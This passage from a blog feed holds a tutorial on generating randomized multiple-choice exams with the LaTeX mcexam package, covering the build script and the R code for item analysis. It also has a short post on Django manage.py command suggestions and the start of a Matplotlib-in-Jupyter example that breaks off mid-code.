&lt;p&gt;Ensure there’s always one blank page at the end of the exam (so if students turn over their exam early they don’t see question text!) You will also need to set the document class to &lt;code&gt;twoside&lt;/code&gt;.&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\mcifoutput&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;exam&lt;span class="p"&gt;}{&lt;/span&gt;
    &lt;span class="k"&gt;\AtEndDocument&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\ifodd\value&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;page&lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;\newpage\thispagestyle&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;empty&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;\hbox&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;This page intentionally left blank.&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;\newpage\thispagestyle&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;empty&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;\hbox&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="k"&gt;\else&lt;/span&gt;
            &lt;span class="k"&gt;\newpage\thispagestyle&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;empty&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;\hbox&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
        &lt;span class="k"&gt;\fi&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Set fancy headers and footers on each page that show the page number and exam version. Ensures that students and proctors can see if there was a printing error that caused them to miss a few pages.&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\usepackage&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;fancyhdr,lastpage&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\pagestyle&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;fancy&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\fancyhf&lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;
&lt;span class="k"&gt;\renewcommand&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\headrulewidth&lt;/span&gt;&lt;span class="p"&gt;}{&lt;/span&gt;0pt&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;span class="k"&gt;\renewcommand&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\footrulewidth&lt;/span&gt;&lt;span class="p"&gt;}{&lt;/span&gt;1pt&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\lfoot&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\mctheversion&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;\rfoot&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;Page &lt;span class="k"&gt;\thepage\ &lt;/span&gt;of &lt;span class="k"&gt;\pageref&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;LastPage&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Fix question spacing wackiness due to grouped questions.&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\raggedbottom&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Generating everything at once&lt;/h3&gt;
&lt;p&gt;I’m too lazy to manually go in and generate the concept version, the answers version, etc. by renaming files. So I wrote a simple shell script to do the same with the help of some clever macros. Place this in your preamble:&lt;/p&gt;
&lt;div class="language-tex highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;\usepackage&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;etoolbox&lt;span class="p"&gt;}&lt;/span&gt;
&lt;p&gt;&lt;span class="k"&gt;\ifdef&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\myoutput&lt;/span&gt;&lt;span class="p"&gt;}{}{&lt;/span&gt;&lt;span class="k"&gt;\def\myoutput&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;concept&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;span class="k"&gt;\ifdef&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="k"&gt;\myversion&lt;/span&gt;&lt;span class="p"&gt;}{}{&lt;/span&gt;&lt;span class="k"&gt;\def\myversion&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;1&lt;span class="p"&gt;}}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="k"&gt;\usepackage&lt;/span&gt;[output=&lt;span class="k"&gt;\myoutput&lt;/span&gt;
,numberofversions=2
,version=&lt;span class="k"&gt;\myversion&lt;/span&gt;
,seed=4
,randomizequestions=true
,randomizeanswers=true
,writeRfile=true
]&lt;span class="p"&gt;{&lt;/span&gt;mcexam&lt;span class="p"&gt;}&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;Basically, what this says is, if the macro &lt;code&gt;\myoutput&lt;/code&gt; is not defined, set it to “concept”, and if the macro &lt;code&gt;\myversion&lt;/code&gt; isn’t defined, set it to “1”. But we can actually define macros on the command line, using the some clever trickery:&lt;/p&gt;
&lt;div class="language-sh highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;xelatex &lt;span class="s1"&gt;'\def\myversion{1} \def\myoutput{exam} \input{example.tex}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This pre-defines those macros, then puts in the rest of your latex file afterwards. Combined with the &lt;code&gt;-jobname&lt;/code&gt; option you can specify what file name each run should have. Here’s my full shell script:&lt;/p&gt;
&lt;div class="language-sh highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;p&gt;xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXAM1 &lt;span class="s1"&gt;’\def\myversion{1} \def\myoutput{exam} \input{example.tex}’&lt;/span&gt; &amp;amp;
xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;EXAM2 &lt;span class="s1"&gt;’\def\myversion{2} \def\myoutput{exam} \input{example.tex}’&lt;/span&gt; &amp;amp;
xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;CONCEPT &lt;span class="s1"&gt;’\def\myoutput{concept} \input{example.tex}’&lt;/span&gt; &amp;amp;
xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;KEY &lt;span class="s1"&gt;’\def\myoutput{key} \input{example.tex}’&lt;/span&gt; &amp;amp;
xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ANSWERS1 &lt;span class="s1"&gt;’\def\myversion{1} \def\myoutput{answers} \input{example.tex}’&lt;/span&gt; &amp;amp;
xelatex &lt;span class="nt"&gt;-jobname&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;ANSWERS2 &lt;span class="s1"&gt;’\def\myversion{2} \def\myoutput{answers} \input{example.tex}’&lt;/span&gt; &amp;amp;&lt;/p&gt;
&lt;p&gt;&lt;span class="nb"&gt;wait&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;p&gt;All six of these jobs will run in parallel. You might have to run it multiple times if you have &lt;code&gt;\LastPage&lt;/code&gt; macros or other cross-references. You can then clean up the intermediate files with &lt;code&gt;rm *.log *.aux&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Randomization seeds&lt;/h3&gt;
&lt;p&gt;If you have a lot of grouped questions, it’s possible that your questions will be randomized in such a way that one version of the exam is significantly longer than other questions. To that end, you should iterate over a few seeds and check them by hand to ensure that there isn’t anything weird going on. It also helps you see if you forgot to group a set of questions (common when copying question sets from Word or text documents). Note that if you add or remove questions, or change the grouping of questions, the previous seed will no longer generate the same exam. It is thus &lt;strong&gt;critical&lt;/strong&gt; you don’t modify the test or change the seed until after you’ve conducted item analysis.&lt;/p&gt;
&lt;h3&gt;Item analysis&lt;/h3&gt;
&lt;p&gt;Let’s go over how to use the R script for item analysis. When the option &lt;code&gt;writeRfile&lt;/code&gt; is set to true, &lt;code&gt;mcexam&lt;/code&gt; will also write an R file of the same name as your tex script. This R file provides a single function, &lt;code&gt;mcprocessanswers&lt;/code&gt; that un-permutes the questions and writes an &lt;code&gt;.ana&lt;/code&gt; file of the same name, which is used by the &lt;code&gt;mcexam&lt;/code&gt; package in latex. This function takes three arguments: a student ID, the exam version they took, and an answers matrix, where 1 = A, 2 = B, etc.&lt;/p&gt;
&lt;p&gt;First we load up all of the packages and the &lt;code&gt;mcexam&lt;/code&gt; analysis code:&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tidyverse&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;readxl&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;magrittr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"exam.r"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Our exam scoring service at UCLA provides the student responses as an Excel sheet, with one student per row, and their answer choices as the columns Q001 through Q200 or so.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;version1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_xlsx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"version1.xlsx"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;version2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;read_xlsx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"version2.xlsx"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Here I’m extracting student identifiers from the sheet. The ID number doesn’t have to be an ID number, it just has to be some kind of unique identifier.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;id1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transmute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str_c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IDNum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LastName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extract2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;id2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;transmute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;str_c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IDNum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LastName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FirstName&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%&amp;gt;%&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;extract2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;id2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Generate the version numbers based on which spreadsheet the score came from.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rep_len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id1&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rep_len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id2&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This line extracts the columns that correspond to the questions in the exam and combines them into a single data frame.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bind_rows&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;version1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Q001&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Q062&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;select&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;version2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Q001&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;Q062&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This line the answers A, B, C, etc. into 1, 2, 3.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;apply&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;match&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;LETTERS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;If the student did not answer a question, recode it to an invalid, dummy value “9”.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;is.na&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Generate the &lt;code&gt;.ana&lt;/code&gt; analysis file.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;mcprocessanswers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;version&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;answers&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Once you have that analysis file, set the &lt;code&gt;output&lt;/code&gt; to &lt;code&gt;analysis&lt;/code&gt; and check out the item analysis! The best statistics to look at are proportion correct, which indicates question difficulty, and item-rest correlation, which tells you whether people who scored high on the exam also scored high on that question (you want this to be positive).&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Sat, 24 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/painless-almost-multiple-choice-exams-in-latex/</guid></item><item><title>Suggestions added to Django manage.py</title><link>https://tomforb.es/blog/django-manage-suggestions/</link><description>My recently merged PR for ticket #28398 adds very simple ‘did you mean’ suggestions to Django’s manage.py command, which is the primary way of interacting with Django from the terminal. So in Django 2.1 this is what you will expect to see if you misspell a management command:...</description><author>Tom Forbes</author><pubDate>Sat, 24 Feb 2018 02:00:00 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/django-manage-suggestions/</guid></item><item><title>Dynamically updating Matplotlib figures in Jupyter notebooks</title><link>https://sean.lane.sh/posts/2018/02/Dynamically-updating-Matplotlib-figures-in-Jupyter-notebooks/</link><description>&lt;p&gt;Updating matplotlib figures dynamically seems to be a bit of a hassle, but the code below seems to do the trick. This is an example that outputs a figure with multiple subplots, each with multiple plots. Oddly enough, at the time of writing the image will be smaller than the figure until the Jupyter cells stops running, but this can be fixed but generating the figure in one cell, and then updating the image in a subsequent cell &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;This code is run with the assumption that the following data file can be found in the working directory named &lt;code&gt;data.txt&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://sean.lane.sh/files/2018/sample-tcl-data.txt"&gt;Sample TCL data&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0"&gt;&lt;code class="language-python"&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; numpy &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; np
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;import&lt;/span&gt; matplotlib.pyplot &lt;span style="color: #66d9ef;"&gt;as&lt;/span&gt; plt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #f92672;"&gt;%&lt;/span&gt;matplotlib notebook
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;&lt;span style="color: #66d9ef;"&gt;def&lt;/span&gt; &lt;span style="color: #a6e22e;"&gt;load_data&lt;/span&gt;():
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    data &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; np&lt;span style="color: #f92672;"&gt;.&lt;/span&gt;genfromtxt(&lt;span style="color: #e6db74;"&gt;'data.txt'&lt;/span&gt;, delimiter&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #e6db74;"&gt;','&lt;/span&gt;, skip_header&lt;span style="color: #f92672;"&gt;=&lt;/span&gt;&lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    tm &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data[:, &lt;span style="color: #ae81ff;"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    Q1 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data[:, &lt;span style="color: #ae81ff;"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    Q2 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data[:, &lt;span style="color: #ae81ff;"&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    T1 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data[:, &lt;span style="color: #ae81ff;"&gt;3&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    T2 &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; data[:, &lt;span style="color: #ae81ff;"&gt;4&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;    &lt;span style="color: #66d9ef;"&gt;return&lt;/span&gt; (tm, Q1, Q2, T1, T2) 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;(m_time, Q1s, Q2s, T1s, T2s) &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; load_data()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;n &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; len(m_time)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display: flex;"&gt;&lt;span&gt;labels &lt;span style="color: #f92672;"&gt;=&lt;/span&gt; [
